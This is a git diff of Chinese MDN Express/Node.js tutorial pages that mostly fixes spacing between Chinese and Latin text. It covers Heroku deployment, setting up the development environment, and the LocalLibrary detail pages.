+备注: 上面的命令,添加了对大多数站点有意义的可用标头子集。您可以按照npm上的说明,根据需要添加/禁用特定标头。
例子:在 Heroku 上安装一个本地图书馆
-本节提供了如何在Heroku PaaS cloud云上安装LocalLibrary的实际演示。
+本节提供了如何在Heroku PaaS cloud云上安装 LocalLibrary 的实际演示。
为什么选择 Heroku?
-Heroku 是运行时间最长,且最受欢迎的基于云的 PaaS 服务之一。它最初只支持 Ruby 应用程序,但现在可用于托管来自许多编程环境的应用程序,包括Node(以及Express)!
+Heroku 是运行时间最长,且最受欢迎的基于云的 PaaS 服务之一。它最初只支持 Ruby 应用程序,但现在可用于托管来自许多编程环境的应用程序,包括 Node(以及 Express)!
我们选择使用 Heroku 有以下几个原因:
-
- Heroku 有一个免费套餐(尽管有一些限制)。
-- 作为PaaS,Heroku为我们提供了大量的 Web 基础架构。这使得入门更加容易,因为您不必担心服务器,负载平衡器,反向代理,崩溃时重新启动网站,或者 Heroku 为我们提供的任何其他 Web 基础结构。
+- 作为 PaaS,Heroku 为我们提供了大量的 Web 基础架构。这使得入门更加容易,因为您不必担心服务器,负载平衡器,反向代理,崩溃时重新启动网站,或者 Heroku 为我们提供的任何其他 Web 基础结构。
- 虽然它确实有一些限制,但这些不会影响这个特定的应用程序。例如:
-
- Heroku只提供短期存储,因此用户上传的文件无法安全地存储在Heroku本身。
+- Heroku 只提供短期存储,因此用户上传的文件无法安全地存储在 Heroku 本身。
- 如果半小时内没有请求,免费套餐将使不活动的网络应用程序进入睡眠。然后,该网站可能需要几秒钟才能被唤醒。
-- 免费套餐将您网站运行的时间,限制为每月一定的小时数(不包括网站“睡着”的时间)。这对于低使用/演示站点来说很好,但如果需要100%的正常运行时间,则不适用。
+- 免费套餐将您网站运行的时间,限制为每月一定的小时数(不包括网站“睡着”的时间)。这对于低使用/演示站点来说很好,但如果需要 100%的正常运行时间,则不适用。
- Heroku 官方文档中列出的其他限制。
- 大多数情况下它只是可以工作,如果你最终喜欢它,并希望升级,那么扩展你的应用程序非常容易。
虽然 Heroku 非常适合举办此演示,但它可能并不适合您的真实网站。 Heroku可以轻松设置和扩展,但代价是灵活性较低,而且一旦退出免费套餐,可能会花费更多。
+虽然 Heroku 非常适合举办此演示,但它可能并不适合您的真实网站。Heroku 可以轻松设置和扩展,但代价是灵活性较低,而且一旦退出免费套餐,可能会花费更多。
Heroku 如何工作?
-Heroku在一个或多个“Dynos”中运行网站,这些“Dynos”是独立的虚拟化Unix容器,提供运行应用程序所需的环境。 Dynos 是完全隔离的,并且有一个短暂的文件系统(一个短暂的文件系统,每次dyno重新启动时都会清理/清空)。 dynos 默认共享的唯一内容,是应用程序配置变量。 Heroku内部使用负载均衡器,将Web流量分配给所有“web”dynos。由于它们之间没有任何共享,Heroku可以通过添加更多dynos,来水平扩展应用程序(当然,您可能还需要扩展数据库,以接受其他连接)。
+Heroku 在一个或多个“Dynos”中运行网站,这些“Dynos”是独立的虚拟化 Unix 容器,提供运行应用程序所需的环境。Dynos 是完全隔离的,并且有一个短暂的文件系统(一个短暂的文件系统,每次 dyno 重新启动时都会清理/清空)。dynos 默认共享的唯一内容,是应用程序配置变量。Heroku 内部使用负载均衡器,将 Web 流量分配给所有“web”dynos。由于它们之间没有任何共享,Heroku 可以通过添加更多 dynos,来水平扩展应用程序(当然,您可能还需要扩展数据库,以接受其他连接)。
-由于文件系统是短暂的,因此无法直接安装应用程序所需的服务(例如数据库,队列,缓存系统,存储,电子邮件服务等)。相反,Heroku Web应用程序使用 Heroku 或第三方作为独立“附加组件”提供的支持服务。连接到Web应用程序后,可以通过环境变量,在Web应用程序中访问附加服务。
+由于文件系统是短暂的,因此无法直接安装应用程序所需的服务(例如数据库,队列,缓存系统,存储,电子邮件服务等)。相反,Heroku Web 应用程序使用 Heroku 或第三方作为独立“附加组件”提供的支持服务。连接到 Web 应用程序后,可以通过环境变量,在 Web 应用程序中访问附加服务。
-为了执行您的应用程序,Heroku需要能够设置适当的环境和依赖关系,并了解它是如何启动的。对于Node应用程序,它所需的所有信息都是从package.json文件中获取的。
+为了执行您的应用程序,Heroku 需要能够设置适当的环境和依赖关系,并了解它是如何启动的。对于 Node 应用程序,它所需的所有信息都是从package.json文件中获取的。
-开发人员使用特殊的客户端应用程序/终端,与Heroku交互,这很像Unix bash脚本。这允许您上传存储在git存储库中的代码,检查正在运行的进程,查看日志,设置配置变量等等!
+开发人员使用特殊的客户端应用程序/终端,与Heroku交互,这很像Unix bash 脚本。这允许您上传存储在 git 存储库中的代码,检查正在运行的进程,查看日志,设置配置变量等等!
-为了让我们的应用程序在Heroku上工作,我们需要将我们的Express Web应用程序放入git存储库,并对 package.json 进行一些小的更改。完成后,我们可以设置Heroku帐户,获取Heroku客户端,并使用它来安装我们的网站。
+为了让我们的应用程序在 Heroku 上工作,我们需要将我们的 Express Web 应用程序放入 git 存储库,并对 package.json 进行一些小的更改。完成后,我们可以设置 Heroku 帐户,获取 Heroku 客户端,并使用它来安装我们的网站。
-这是您开始教程所需的全部概述(有关更全面的指南,请参阅带有Node.js的Heroku入门)。
+这是您开始教程所需的全部概述(有关更全面的指南,请参阅带有 Node.js 的 Heroku 入门)。
在 Github 上创建一个应用仓库
-Heroku 与 git 源代码版本控制系统紧密集成,使用它来上传/同步您对实时运行系统所做的任何更改。它通过添加一个名为 heroku 的新 Heroku“远程”存储库,来指向您在Heroku云上的源存储库。在开发期间,您使用 git 在“主”存储库 master 中存储更改。如果要部署站点,请将更改同步到 Heroku 存储库。
+Heroku 与 git 源代码版本控制系统紧密集成,使用它来上传/同步您对实时运行系统所做的任何更改。它通过添加一个名为 heroku 的新 Heroku“远程”存储库,来指向您在 Heroku 云上的源存储库。在开发期间,您使用 git 在“主”存储库 master 中存储更改。如果要部署站点,请将更改同步到 Heroku 存储库。
--注意: 如果您习惯于遵循良好的软件开发实践,那么您可能已经在使用git或其他一些SCM系统。如果您已有git存储库,则可以跳过此步骤。
+注意: 如果您习惯于遵循良好的软件开发实践,那么您可能已经在使用 git 或其他一些 SCM 系统。如果您已有 git 存储库,则可以跳过此步骤。
有很多方法可以使用git,但最简单的方法之一,是首先在GitHub上建立一个帐户,在那里创建存储库,然后在本地同步它:
+有很多方法可以使用 git,但最简单的方法之一,是首先在GitHub上建立一个帐户,在那里创建存储库,然后在本地同步它:
- 访问 https://github.com/ 并创建一个帐户。
- 登录后,单击顶部工具栏中的 + 号链接,然后选择新建存储库New repository。
- 填写此表单上的所有字段。虽然这些不是强制性的,但强烈建议使用它们。
-
- 输入新的存储库名称(例如,express-locallibrary-tutorial)和描述(例如 “以Express(node)编写的本地图书馆网站”)。
+- 输入新的存储库名称(例如,express-locallibrary-tutorial)和描述(例如“以 Express(node)编写的本地图书馆网站”)。
- 在 Add .gitignore 选择列表中选择 Node。
- 在添加许可证 Add license 选择列表中,选择您偏好的许可证。
- 点选 使用自述文件初始化此存储库 “Initialize this repository with a README”
@@ -280,14 +280,14 @@在 Github 上创建一个应用
- 按 Create repository.
- 单击新仓库页面上的绿色“克隆或下载”按钮 "Clone or download"。
-- 从显示的对话框的文本字段,复制URL值(它应该类似于:https://github.com/<your_git_user_id>/express-locallibrary-tutorial.git)。
+- 从显示的对话框的文本字段,复制 URL 值(它应该类似于:https://github.com/<your_git_user_id>/express-locallibrary-tutorial.git)。
现在创建了存储库(“repo”),我们将要在本地计算机上克隆它:
-
-- 为您的本地计算机安装git(您可以在此处找到不同平台的版本)。
-- 打开命令提示符/终端,并使用您在上面复制的 URL ,克隆clone存储库: +
- 为您的本地计算机安装 git(您可以在此处找到不同平台的版本)。
+- 打开命令提示符/终端,并使用您在上面复制的 URL,克隆 clone 存储库:
@@ -296,10 +296,10 @@git clone https://github.com/<your_git_user_id>/express-locallibrary-tutorial.git这将在当前时间点之后,创建存储库。在 Github 上创建一个应用
最后一步,是复制你的应用程序,然后使用 git ,将文件添加到你的仓库:
+最后一步,是复制你的应用程序,然后使用 git,将文件添加到你的仓库:
-
-- 将Express应用程序,复制到此文件夹中(不包括/node_modules,其中包含您应根据需要,从NPM获取的依赖项文件)。
+- 将 Express 应用程序,复制到此文件夹中(不包括/node_modules,其中包含您应根据需要,从 NPM 获取的依赖项文件)。
- 打开命令提示符/终端,并使用
add
命令,将所有文件添加到 git。 git add -A @@ -317,28 +317,28 @@在 Github 上创建一个应用
- 如果您满意,请将文件提交到本地存储库:
-git commit -m "First version of application moved into github"- 然后使用以下内容,将本地存储库同步到Github网站: +
- 然后使用以下内容,将本地存储库同步到 Github 网站:
git push origin master完成此操作后,您应该可以返回创建存储库的Github上的页面,刷新页面,并查看您的整个应用程序现已上传。使用此添加/提交/推送循环,您可以在文件更改时,继续更新存储库。
+完成此操作后,您应该可以返回创建存储库的 Github 上的页面,刷新页面,并查看您的整个应用程序现已上传。使用此添加/提交/推送循环,您可以在文件更改时,继续更新存储库。
--提示: 这是备份你的“vanilla”项目的好时机 - 虽然我们将在以下部分中进行的一些更改,可能对任何平台(或开发)上的部署有用,而一些其他的更改可能没有用。
+提示: 这是备份你的“vanilla”项目的好时机 - 虽然我们将在以下部分中进行的一些更改,可能对任何平台(或开发)上的部署有用,而一些其他的更改可能没有用。
-执行此操作的最佳方法,是使用git来管理您的修订。使用git,您不仅可以回到特定的旧版本,而且可以在生产变更的单独“分支”中进行维护,并选择在生产和开发分支之间移动的任何更改。学习Git非常值得,但超出了本主题的范围。
+执行此操作的最佳方法,是使用 git 来管理您的修订。使用 git,您不仅可以回到特定的旧版本,而且可以在生产变更的单独“分支”中进行维护,并选择在生产和开发分支之间移动的任何更改。学习 Git非常值得,但超出了本主题的范围。
最简单的方法,是将文件复制到另一个位置。使用最符合您对 git 了解的方法!
更新Heroku的应用程序
+更新 Heroku 的应用程序
-本节介绍了您需要对 LocalLibrary 应用程序进行的更改,以使其在Heroku上运行。
+本节介绍了您需要对 LocalLibrary 应用程序进行的更改,以使其在 Heroku 上运行。
设置 node 版本
-package.json包含解决应用程序依赖项所需的所有内容,以及启动站点时,应启动的文件。 Heroku检测到此文件的存在,并将使用它来配置您的应用程序环境。
+package.json包含解决应用程序依赖项所需的所有内容,以及启动站点时,应启动的文件。Heroku 检测到此文件的存在,并将使用它来配置您的应用程序环境。
我们当前的package.json中,缺少的唯一有用信息,是 node 的版本。我们可以通过输入命令,找到我们用于开发的 node 版本:
@@ -359,13 +359,13 @@设置 node 版本
数据库配置
-到目前为止,在本教程中,我们使用了一个硬编码到app.js的单个数据库。通常我们希望,能够为生产和开发创建不同的数据库,接下来我们将修改 LocalLibrary 网站,以从OS环境获取数据库URI(如果已定义),否则使用我们的开发数据库。
+到目前为止,在本教程中,我们使用了一个硬编码到app.js的单个数据库。通常我们希望,能够为生产和开发创建不同的数据库,接下来我们将修改 LocalLibrary 网站,以从 OS 环境获取数据库 URI(如果已定义),否则使用我们的开发数据库。
-打开app.js,并找到设置mongoDB连接变量的行。它看起来像这样:
+打开app.js,并找到设置 mongoDB 连接变量的行。它看起来像这样:
var mongoDB = 'mongodb://your_user_id:your_password@ds119748.mlab.com:19748/local_library';-使用以下代码替换该行,该代码使用
+process.env.MONGODB_URI
从名为MONGODB_URI
的环境变量中,获取连接字符串(如果已设置)(使用您自己的数据库URL,而不是下面的占位符。)使用以下代码替换该行,该代码使用
process.env.MONGODB_URI
从名为MONGODB_URI
的环境变量中,获取连接字符串(如果已设置)(使用您自己的数据库 URL,而不是下面的占位符。)var mongoDB = process.env.MONGODB_URI || 'mongodb://your_user_id:your_password@ds119748.mlab.com:19748/local_library';@@ -393,19 +393,19 @@将更改保存到 Github
获取一个 Heroku 账户
-要开始使用Heroku,您首先需要创建一个帐户(如果您已经拥有一个帐户,并安装了Heroku客户端,请跳过创建并上传网站):
+要开始使用 Heroku,您首先需要创建一个帐户(如果您已经拥有一个帐户,并安装了 Heroku 客户端,请跳过创建并上传网站):
- 访问 www.heroku.com ,并单击免费注册按钮 SIGN UP FOR FREE 。
- 输入您的详细信息,然后按CREATE FREE ACCOUNT。系统会要求您,检查帐户中是否有注册电子邮件。
- 单击注册电子邮件中的帐户激活链接。您将在网络浏览器上收回您的帐户。
- 输入您的密码,然后单击 SET PASSWORD AND LOGIN.
-- 然后,您将登录并进入Heroku仪表板:https://dashboard.heroku.com/apps.
+- 然后,您将登录并进入 Heroku 仪表板:https://dashboard.heroku.com/apps.
安装客户端
-按照 Heroku上的说明,下载并安装Heroku客户端。
+按照 Heroku 上的说明,下载并安装 Heroku 客户端。
安装客户端后,您将能够运行命令。例如,要获得客户端的帮助说明:
@@ -414,15 +414,15 @@安装客户端
创建并上传网站
-要创建应用程序,我们在存储库的根目录中,运行“create”命令。这将在我们的本地git环境中,创建一个名为 heroku 的 git remote(“指向远程存储库的指针”)。
+要创建应用程序,我们在存储库的根目录中,运行“create”命令。这将在我们的本地 git 环境中,创建一个名为 heroku 的 git remote(“指向远程存储库的指针”)。
heroku create--注意: 如果您愿意,可以在“创建”create 之后指定远程存储库的命名。如果你不这样做,你会得到一个随机的名字。该名称用于默认URL。
+注意: 如果您愿意,可以在“创建”create 之后指定远程存储库的命名。如果你不这样做,你会得到一个随机的名字。该名称用于默认 URL。
然后,我们可以将我们的应用程序,推送到Heroku存储库,如下所示。这将上传应用程序,获取所有依赖项,将其打包到dyno中,然后启动该站点。
+然后,我们可以将我们的应用程序,推送到 Heroku 存储库,如下所示。这将上传应用程序,获取所有依赖项,将其打包到 dyno 中,然后启动该站点。
git push heroku master@@ -436,14 +436,14 @@创建并上传网站
设定配置变量
-您将从前一节回忆起,我们需要将NODE_ENV设置为'production',以便提高性能,并生成更简洁的错误消息。我们通过输入以下命令,来完成此操作:
+您将从前一节回忆起,我们需要将 NODE_ENV 设置为'production',以便提高性能,并生成更简洁的错误消息。我们通过输入以下命令,来完成此操作:
>heroku config:set NODE_ENV='production' Setting NODE_ENV and restarting limitless-tor-18923... done, v13 NODE_ENV: production-我们还应该使用单独的数据库进行生产,在MONGODB_URI环境变量中,设置其URI。您可以完全按照我们原来的方式,设置新数据库和数据库用户,并获取其URI。您可以如下图所示设置URI(显然,要使用您自己的URI!)
+我们还应该使用单独的数据库进行生产,在MONGODB_URI环境变量中,设置其 URI。您可以完全按照我们原来的方式,设置新数据库和数据库用户,并获取其 URI。您可以如下图所示设置 URI(显然,要使用您自己的 URI!)
>heroku config:set MONGODB_URI='mongodb://your_user:your_password@ds139278.mlab.com:39278/local_library_production' Setting MONGODB_URI and restarting limitless-tor-18923... done, v13 @@ -458,15 +458,15 @@-设定配置变量
NODE_ENV: productionHeroku会在更新变量时,重新启动应用程序。如果您现在检查主页,它应该显示对象计数的零值,因为上面的更改,意味着我们现在正在使用新的(空)数据库。
+Heroku 会在更新变量时,重新启动应用程序。如果您现在检查主页,它应该显示对象计数的零值,因为上面的更改,意味着我们现在正在使用新的(空)数据库。
管理附加组件
-Heroku 使用独立的附加组件,为应用程序提供支持服务 - 例如电子邮件或数据库服务。我们不在本网站中使用任何插件,但它们是使用Heroku的重要部分,因此您可能需要查看主题管理插件(Heroku docs)。
+Heroku 使用独立的附加组件,为应用程序提供支持服务 - 例如电子邮件或数据库服务。我们不在本网站中使用任何插件,但它们是使用 Heroku 的重要部分,因此您可能需要查看主题管理插件(Heroku docs)。
调试
-Heroku客户端提供了一些调试工具:
+Heroku 客户端提供了一些调试工具:
heroku logs # Show current logs heroku logs --tail # Show current logs and keep updating with any new results @@ -478,7 +478,7 @@调试
总结
-本教程介绍在生产环境中,如何配置Express 应用。是Express系列教程的最后一个。我们希望你觉得这些教程有用。你可以在Github上取得完整的源码。
+本教程介绍在生产环境中,如何配置 Express 应用。是 Express 系列教程的最后一个。我们希望你觉得这些教程有用。你可以在Github 上取得完整的源码。
相关链接
@@ -514,7 +514,7 @@本教程链接
- Express/Node 介绍
- 架设 Node (Express) 开发环境
-- Express 教程: 本地图书馆网站
+- Express 教程:本地图书馆网站
- Express 教程 2: 创建骨架网站
- Express 教程 3: 使用数据库 (Mongoose)
- Express 教程 4: 路由与控制器
diff --git a/files/zh-cn/learn/server-side/express_nodejs/development_environment/index.html b/files/zh-cn/learn/server-side/express_nodejs/development_environment/index.html index d0922ecc59734f..2eead660f8e1c7 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/development_environment/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/development_environment/index.html @@ -21,11 +21,11 @@
- 预备知识: +预备知识: 会打开终端 / 命令行。会为开发用操作系统安装软件包。 - @@ -41,13 +41,13 @@学习目标: +学习目标: 在电脑上搭建 Express 开发环境。 什么是 Express 开发环境?
Node 和 NPM 包管理器可以用二进制包、安装程序或系统包管理器一并安装(下文将介绍)。然后在开发每个 Express web 应用时,由 NPM 针对当前应用将 Express(以及模板引擎、数据库驱动程序、身份验证中间件、静态文件托管中间件等其它库)作为依赖项进行安装。 -NPM 也可以安装(全局的)Express 应用生成器,可用于创建遵循 MVC模式 的 Express 应用框架。它不是必备的,因为无需这个工具就可以创建 Express 应用(或相同架构布局或依赖的 Express 应用)。但我们还是会使用它,因为它更容易上手,还有助于应用结构的模块化管理。
+NPM 也可以安装(全局的)Express 应用生成器,可用于创建遵循 MVC 模式 的 Express 应用框架。它不是必备的,因为无需这个工具就可以创建 Express 应用(或相同架构布局或依赖的 Express 应用)。但我们还是会使用它,因为它更容易上手,还有助于应用结构的模块化管理。
--注: 与某些其他Web框架不同,开发环境不包含单独的开发Web服务器。在Node / Express中,Web应用程序将创建并运行自己的Web服务器!
+注: 与某些其他 Web 框架不同,开发环境不包含单独的开发 Web 服务器。在 Node / Express 中,Web 应用程序将创建并运行自己的 Web 服务器!
典型的开发环境中还需要一些外围工具,包括用于编写代码的 文本编辑器 或 IDE ,用于代码控制管理的工具(比如代码版本控制工具 Git)。这里假定你已经安装了这些工具(尤其是文本编辑器)。
+典型的开发环境中还需要一些外围工具,包括用于编写代码的 文本编辑器 或 IDE,用于代码控制管理的工具(比如代码版本控制工具 Git)。这里假定你已经安装了这些工具(尤其是文本编辑器)。
支持哪些操作系统?
@@ -80,7 +80,7 @@Windows 和 macOS
在 Windows 和 macOS 上安装 Node 和 NPM 非常简单明了,使用现成的安装包就行了:
-
- 下载安装包: +
- 下载安装包:
- 访问 https://nodejs.org/zh-cn/
- 左侧按钮上写着“推荐多数用户使用(LTS)”,点击下载。
@@ -143,7 +143,7 @@测试 Node.js 和 NPM 是否 }); -
代码导入了
+"http"
模块,并用它(createServer()
)创建了一个服务器来监听 3000 端口的 HTTP 请求。随后在控制台打印一条信息,提示测试服务器的正确 URL。createServer()
函数接受一个回调函数作为参数,并在接收 HTTP 请求后进行回调。直接返回了 HTTP 状态码 200 ("OK
"),以及纯文本信息 "Hello World"。代码导入了
"http"
模块,并用它(createServer()
)创建了一个服务器来监听 3000 端口的 HTTP 请求。随后在控制台打印一条信息,提示测试服务器的正确 URL。createServer()
函数接受一个回调函数作为参数,并在接收 HTTP 请求后进行回调。直接返回了 HTTP 状态码 200("OK
"),以及纯文本信息 "Hello World"。-注:现在看不懂这些代码请不要担心,开始使用 Express 后候会进行更加详细的解释。
@@ -165,7 +165,7 @@使用 NPM
注:以 Node 的角度来看,Express 只是一个用 NPM 安装、供人使用的包而已。
可以用 NPM 手动逐个安装所需包。但通常可用 package.json 文件来管理依赖。把每个依赖以一个 JavaScript “包”的形式(其中包括名称、版本、描述,初始执行文件、生产依赖,开发依赖、支持的 Node 版本,等等)罗列在这个文件中。package.json 文件包含 NPM 获取和运行应用程序所需的所有内容(在编写可重用的库时,可以用它把包上传到 NPM 仓库中供其他用户使用)。
+可以用 NPM 手动逐个安装所需包。但通常可用 package.json 文件来管理依赖。把每个依赖以一个 JavaScript“包”的形式(其中包括名称、版本、描述,初始执行文件、生产依赖,开发依赖、支持的 Node 版本,等等)罗列在这个文件中。package.json 文件包含 NPM 获取和运行应用程序所需的所有内容(在编写可重用的库时,可以用它把包上传到 NPM 仓库中供其他用户使用)。
添加依赖项
diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/author_detail_page/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/author_detail_page/index.html index c62c5fbbecc729..f969aeb483f49a 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/author_detail_page/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/author_detail_page/index.html @@ -9,7 +9,7 @@控制器
打开 /controllers/authorController.js。
-在档案最上方,加入底下几行,引入 async 和 Book 模组(作者细节页面需要它们)。
+在档案最上方,加入底下几行,引入 async 和 Book 模组 (作者细节页面需要它们)。
var async = require('async'); var Book = require('../models/book');@@ -71,14 +71,14 @@视图
本模板里的所有事物,都在先前的章节演示过了。
-它看起來像是?
+它看起來像是?
-运行本应用,并打开浏览器访问 http://localhost:3000/。选择All Authors 连结,然后选择一个作者。如果每个东西都设定正确了,你的网站看起来应该会像底下的截图。
+运行本应用,并打开浏览器访问 http://localhost:3000/。选择 All Authors 连结,然后选择一个作者。如果每个东西都设定正确了,你的网站看起来应该会像底下的截图。
-注意: 作者的出生与死亡日期的外观很丑!我们将在本文最后的自我挑战处理它。
+注意: 作者的出生与死亡日期的外观很丑!我们将在本文最后的自我挑战处理它。
下一步
diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html index f4a90fdc3dd05e..5940fb742fb619 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html @@ -46,14 +46,14 @@视图
如同我们其它的模板,上面视图也依照着同样的模式。
-它看起來像是?
+它看起來像是?
运行本应用,并打开浏览器访问 http://localhost:3000/ 。然后选择所有作者 All authors 连结。如果每个东西都设定正确了,页面看起来应该像底下的截图。
--注意: 作者生命日期的外观是丑陋的!您可以使用我们用于
+BookInstance
列表的相同方法(将生命周期的虚拟属性,添加到Author
模型),来改进此方法。注意: 作者生命日期的外观是丑陋的!您可以使用我们用于
BookInstance
列表的相同方法(将生命周期的虚拟属性,添加到Author
模型),来改进此方法。但是,这次缺少日期,除非严格模式生效,否则将忽略对不存在的属性的引用。
@@ -62,7 +62,7 @@moment()
返回当前时间,并且您不希望将缺少的日期格式化为就像今天一样。它看起來像是?
return this.date_of_birth ? moment(this.date_of_birth).format('YYYY-MM-DD') : '';
种类列表页面—自我挑战!Edit
+种类列表页面—自我挑战!Edit
在这个部分,你应该实作你自己的种类列表页面。该页面应显示数据库中所有种类的列表,每个种类都链接到其关联的详细信息页面。预期结果的屏幕截图如下所示。
@@ -86,4 +86,4 @@下一步
-继续教程 5 下一個部分: 种类细节页面
+继续教程 5 下一個部分:种类细节页面
diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/book_detail_page/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/book_detail_page/index.html index 775bcd387f6871..15b2aebdbebec7 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/book_detail_page/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/book_detail_page/index.html @@ -3,7 +3,7 @@ slug: learn/Server-side/Express_Nodejs/Displaying_data/Book_detail_page translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Book_detail_page --- -书本细节页面需要呈现一本指定书本(
+Book
)的信息, 使用它的_id
字段值(自动产生)做为识别,接着是图书馆中书本实例(BookInstance
)的信息。无论我们在哪里呈现一个作者、种类、或书本实例,都应该连结到它的细节页面。书本细节页面需要呈现一本指定书本 (
Book
) 的信息,使用它的_id
字段值 (自动产生) 做为识别,接着是图书馆中书本实例 (BookInstance
) 的信息。无论我们在哪里呈现一个作者、种类、或书本实例,都应该连结到它的细节页面。控制器
@@ -41,7 +41,7 @@控制器
-注意: 我们不需要用 require 导入 async 和 BookInstance,当我们实作主页面控制器的时候,我们就已经引入这些模组。
+注意: 我们不需要用 require 导入 async 和 BookInstance,当我们实作主页面控制器的时候,我们就已经引入这些模组。
此处的控制器方法使用
@@ -89,7 +89,7 @@async.parallel()
,用平行的方式找到Book
以及它的相应复本 (BookInstances
) 。这样的处理方式,就跟上面的 种类细节页面 所说明的完全相同。视图
在这个模板里,几乎每个东西都在先前的章节演示过了。
--注意: 与该书相关的種類列表,在模板中的实作,如以下代碼。除了最后一本书之外,在与本书相关的每个种類之后,都会添加一个逗号。
+注意: 与该书相关的種類列表,在模板中的实作,如以下代碼。除了最后一本书之外,在与本书相关的每个种類之后,都会添加一个逗号。
p #[strong Genre:] each val, index in book.genre @@ -98,7 +98,7 @@视图
|,它看起來像是?
+它看起來像是?
运行本应用,并打开浏览器访问 http://localhost:3000/。选择 All books 连结,然后选择其中一本书。如果每个东西都设定正确了,你的页面看起来应该像是底下的截图。
@@ -108,5 +108,5 @@下一步
diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html index 20bea716d16621..b7c45e935b61d4 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html @@ -48,15 +48,15 @@
- 回到 Express 教程 5: 呈现图书馆数据
-- 继续教程 5 的下一个部分: 作者细节页面
+- 继续教程 5 的下一个部分:作者细节页面
视图
else li There are no books. -這个视图扩展了 layout.pug 基本模板,并覆盖了名为 'content' 的區块
+block
。它显示我们从控制器传入的标题title
(通过render()
方法),然后使用each
-in
-else
语法,遍历book_list
变量。为每本图书创建一个列表项,以显示书名,并作为书的详细信息页面的链接,后面跟着作者姓名。如果book_list
中没有书,则执行else
子句,并显示文字 “没有书” 'There are no books.'。這个视图扩展了 layout.pug 基本模板,并覆盖了名为 'content' 的區块
block
。它显示我们从控制器传入的标题title
(通过render()
方法),然后使用each
-in
-else
语法,遍历book_list
变量。为每本图书创建一个列表项,以显示书名,并作为书的详细信息页面的链接,后面跟着作者姓名。如果book_list
中没有书,则执行else
子句,并显示文字“没有书” 'There are no books.'。-注意: 我们使用
+book.url
,为每本书提供详细记录链接(我们已经实现了此路由,但尚未实现此页面)。这是Book
模型的一个虚拟属性,它使用模型实例的_id
字段,生成唯一的URL路径。注意: 我们使用
book.url
,为每本书提供详细记录链接(我们已经实现了此路由,但尚未实现此页面)。这是Book
模型的一个虚拟属性,它使用模型实例的_id
字段,生成唯一的 URL 路径。在这里,我們感兴趣的是,每本书被定义为两行,第二行使用管道(上面高亮显示)。这种方法是必要的,因为如果作者姓名位于上一行,那么它将成为超链接的一部分。
-它看起來像是?
+它看起來像是?
运行本应用 (参见 测试路由 有相关的命令) ,并打开你的浏览器,访问 http://localhost:3000/。然后选择 所有书本 连结。如果每样东西都设定正确了,你的网站看起来应该像底下的截图。
@@ -66,5 +66,5 @@下一步
diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/bookinstance_detail_page_and_challenge/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/bookinstance_detail_page_and_challenge/index.html index cba25ab30d78d8..fcee357c4f2ef5 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/bookinstance_detail_page_and_challenge/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/bookinstance_detail_page_and_challenge/index.html @@ -11,7 +11,7 @@
- 回到 Express 教程 5: 呈现图书馆数据
-- 继续教程 5 下个部分: 书本实例列表页面
+- 继续教程 5 下个部分:书本实例列表页面
书本实例细节页面
控制器
-打开 /controllers/bookinstanceController.js. ,找到exported
+bookinstance_detail()
控制器方法,并替换以下代码。打开 /controllers/bookinstanceController.js,找到 exported
bookinstance_detail()
控制器方法,并替换以下代码。// Display detail page for a specific BookInstance. exports.bookinstance_detail = function(req, res, next) { @@ -32,7 +32,7 @@-控制器
};该方法使用从URL(使用路由)中提取的特定书本实例的ID,调用
+BookInstance.findById()
,并通过请求参数(req.params.id
),在控制器中访问。然后调用populate()
来获取相关Book
的详细信息。该方法使用从 URL(使用路由)中提取的特定书本实例的 ID,调用
BookInstance.findById()
,并通过请求参数(req.params.id
),在控制器中访问。然后调用populate()
来获取相关Book
的详细信息。视图
@@ -62,7 +62,7 @@视图
本模组中的所有东西,都在先前的章节演示过了。
-它看起來像是?
+它看起來像是?
运行本应用,并打开浏览器访问 http://localhost:3000/。选择 All book-instances 连结,然后选择其中一本。如果每个东西都设定正确了,你的网站看起来应该像是底下的截图。
@@ -70,10 +70,10 @@它看起來像是?
自我挑战
-目前,我们网站上显示的大多数日期,都使用默认的 JavaScript 格式(例如 Tue Dec 06 2016 15:49:58 GMT+1100(AUS东部夏令时间)。本文的挑战,是改善作者
+Author
生命周期日期显示的外观信息(死亡/出生日期)和BookInstance详细信息页面,使用格式:December 6th, 2016。目前,我们网站上显示的大多数日期,都使用默认的 JavaScript 格式(例如 Tue Dec 06 2016 15:49:58 GMT+1100(AUS 东部夏令时间)。本文的挑战,是改善作者
Author
生命周期日期显示的外观信息(死亡/出生日期)和 BookInstance 详细信息页面,使用格式:December 6th, 2016。-注意: 您可以使用与我们用于 Book Instance List 的相同方法(将生命周期的虚拟属性,添加到
+Author
模型,并使用moment来设置日期字符串的格式)。注意: 您可以使用与我们用于 Book Instance List 的相同方法(将生命周期的虚拟属性,添加到
Author
模型,并使用moment来设置日期字符串的格式)。这一挑战的要求:
